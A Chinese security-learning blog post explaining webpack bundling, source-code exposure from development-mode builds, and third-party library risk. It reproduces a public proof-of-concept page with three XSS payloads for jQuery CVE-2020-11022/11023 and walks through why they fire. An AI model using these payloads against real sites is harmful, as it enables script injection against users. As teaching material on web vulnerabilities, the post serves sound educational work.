安全开发-web应用-JS-打包器&第三方库
上期我们学习了关于nodejs的框架开发，也知道了他有什么漏洞，现在我们继续来扩展关于js的一些相关安全芝士，这期差不多就是一个扩展，简单的提一下
首先我们就来看看这个webpack到底有啥用
将项目中各种资源（JavaScript、CSS、图片等）作为模块打包成一个或多个静态文件，供浏览器使用。
举个例子
在我们的目录下有一个这样的结构
然后简单的写一个测试
//1.js
function test(){
console.log('这是一个测测');
}
//2.js
test();
//index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script src="1.js"></script>
<script src="2.js"></script>
</body>
</html>前面我们知道，通过这个引用别的js代码也可以直接作用到前端的代码中，这里的逻辑就是首先通过调用1.js来创建函数，然后再调用2.js来输出这个函数，然后主页就引用这两个js文件
可以看到他就成功的调用了，但是你有没有想过一个问题，如果说我需要引用很多文件呢，难道每个文件我都要再敲一次这个代码吗，所以说这时候，打包器该发挥作用了，所以接下来呢，我们就来看看他怎么用的捏
再创建一个main.js来给打包器使用
import sum from './1.js'; import count from './2.js'; console.log(sum(1,2)); console.log(count(2,1));
把1.js和2.js稍微修改了一下，就是一个加法一个减法，我相信这肯定会写把
然后我们尝试把这个js文件给首页调用一下，看有没有用
可以看到打这里直接报错了，浏览器无法识别，我们要引用这个打包器才行呀
所以我们先来引用一下
npm install webpack webpack-cli -g
然后我们自己创建一个打包器的配置文件，这样就方便打包了，不然一直在终端输命令容易出错哈
webpack.config.js，这个名字一定不要修改哈
const path= require('path'); //node内置核心模块，用来设置路径
module.exports = {
mode : 'development', //开发环境
//mode : 'production' //生产环境(二选一)
entry : './main.js', //入口文件
output : { //输出配置
filename : 'app.js', //输出文件名
path : path.resolve(__dirname, 'build')
//输出文件路径(绝对路径)
//_dirname表示该文件夹当前文件夹
},
}编辑好配置文件后，使用
npx webpack
运行打包库
成功之后就会在当前文件夹下创建一个build文件夹，然后生成js文件，我们把主页的js文件换成这个
可以看到现在他成功的执行了我们三个js文件中的代码，而只需要引用一个文件，现在知道了打包器的作用，现在说说他的安全问题，前面我们用的是开发模式，这个有什么区别呢
可以看到我们访问网站的时候，他会把所有的源代码都显示出来，我们再看看生产模式
直接是一句话就解决了，面向结果说是，老师让你用循环打印金字塔你直接打印符号说是
所以第一个问题就是如果配置不当不小心用的开发环境打包的话，不就造成源码泄露了吗，我们来看一个真实的例子
这个是顺丰的一个登录界面，我们首先用小插件识别一下他是什么框架的
用的是vue开发的，然后杂项里面有用到我们说的webpack打包器
我们可以看到他打包好的js文件我们是可以看到的
并且里面的源码都可以看的一清二楚捏，不过他已经修复了可以看到打包器里的源文件了哈，但是意思就是这个意思，如果使用打包器然后不小心使用了错误的模式，就不小心造成了源码泄露，我们前面学习信息打点的时候用过了一个工具，就是专门来识别使用打包器搭建的网站，然后我们可以通过这个来简单的先查看一下然后审计一下看到了什么漏洞，那你不就成功的挖到了一个src嘛。
这部分就不多说了，差不多就这个意思
其次就是我们另一要说的第三方库，JQuery,在我们原生开发中，你想实现某些功能自己敲出来可能太复杂了，然后你就可以借用一下别人已经写好的功能模块你调用即可，就像我们前面php使用的第三方插件来实现留言编辑的多项功能，而我们前面也说过了，如果你使用第三方库来搭建自己的项目，可能就会导致本来自身的代码写的没有什么问题，但是第三方却出了一个安全问题，就会导致连带着自己的项目也会被牵连，所以说我们看看他有什么安全问题呢
他是有历史漏洞的
去找了一个可以实现漏洞的简单代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
<!--<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script> -->
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
</head>
<body>
<script>
function test(n,jq){
sanitizedHTML = document.getElementById('poc'+n).innerHTML;
if(jq){
$('#div').html(sanitizedHTML);
}else{
div.innerHTML=sanitizedHTML;
}
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>
<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=yy onerror=alert(1)>
</xmp>
<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=yy onerror=alert(1)>">
</xmp>
<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=yy onerror=alert(1)></style>
</xmp>
<div id="div"></div>
</body>
</html>先暂时不管他为什么会这样写，我们就来看看会是什么效果
当你点击触发的时候，他就成功的弹窗了，说明这里的确是有漏洞的，那他是怎么实现的呢，前面我们说过dom型漏洞，通过构造语句然后点击按钮把攻击代码注入到源码之中，导致浏览器识别到了这个代码然后导致执行
首先定义一个函数来传入参数
当你点击这个按钮之后，就会把值传入到上面的这个
这一行中，然后就会修改div的值
然后我们的攻击语句在这里，当你打开网页是他躲在xmp这个标签中，这个标签是把里面的代码当成纯文本输出，所以你打开网页的时候不会触发代码
这里有一个空的div，然后当你点击按钮后，通过上面的.html提取出里面的文本，然后把文本值传入div，然后就会触发弹窗
浏览器看到这个有问题的 <style> 标签时会“自动纠正”错误，导致它把 <img> 认为是正常的 HTML 元素，并执行其中的：onerror=alert(1)这个 onerror 是一个 HTML 事件，当图片加载失败时触发。
而我们写的 src=yy 是个错误路径 → 所以它触发了 alert(1)，这就是这个xss执行的整个流程
当然，最容易得解决办法就是直接上高版本
当你使用高版本的时候，你可以看到他直接是把这个语句闭合了，导致后面的img标签也失效了
但是本身来说，这个dom型的xss本身就很难触发，必须条件都要满足，还是很苛刻的，一般估计也就打比赛的时候见的多
当然，这个漏洞啊还是有点鸡肋的，这里只是简单的提一下，具体后面再说吧
到这里关于JS开发也就差不多了
总结
其实总的来说，js开发和php开发都是差不多的，只是说前端后端的问题，只不过js他也有后端的框架
所以说关于前端的问题其实就没啥好说的了，最主要的区别就是前端校验和后端校验的问题
如果是前端校验你直接修改前端代码就直接可以导致漏洞利用，从而让小黑客攻击服务器
后端校验的话就安全一点，起码没那么容易利用哈
其次就是关于DOM-XSS的漏洞，这个漏洞触发条件挺苛刻的，没什么好说的
然后就是关于js断点，我们也是简单的学会了一丢丢断点的操作，知道他是干啥的了
然后就是nodejs框架开发和打包器还有第三方框架的问题
这三个都不是原生开发，所以有时候安全问题不并不是我们自身代码的问题，而是第三方库导致的。
简而言之，关于js的漏洞其实可以看到，大部分都是逻辑写的有问题导致的漏洞，最主要的还是我们可以看的懂代码了，起码不会像无头苍蝇那样不知道干啥哈，那么关于js就暂时结束咯（这总结好水啊）
未完待续~~~~
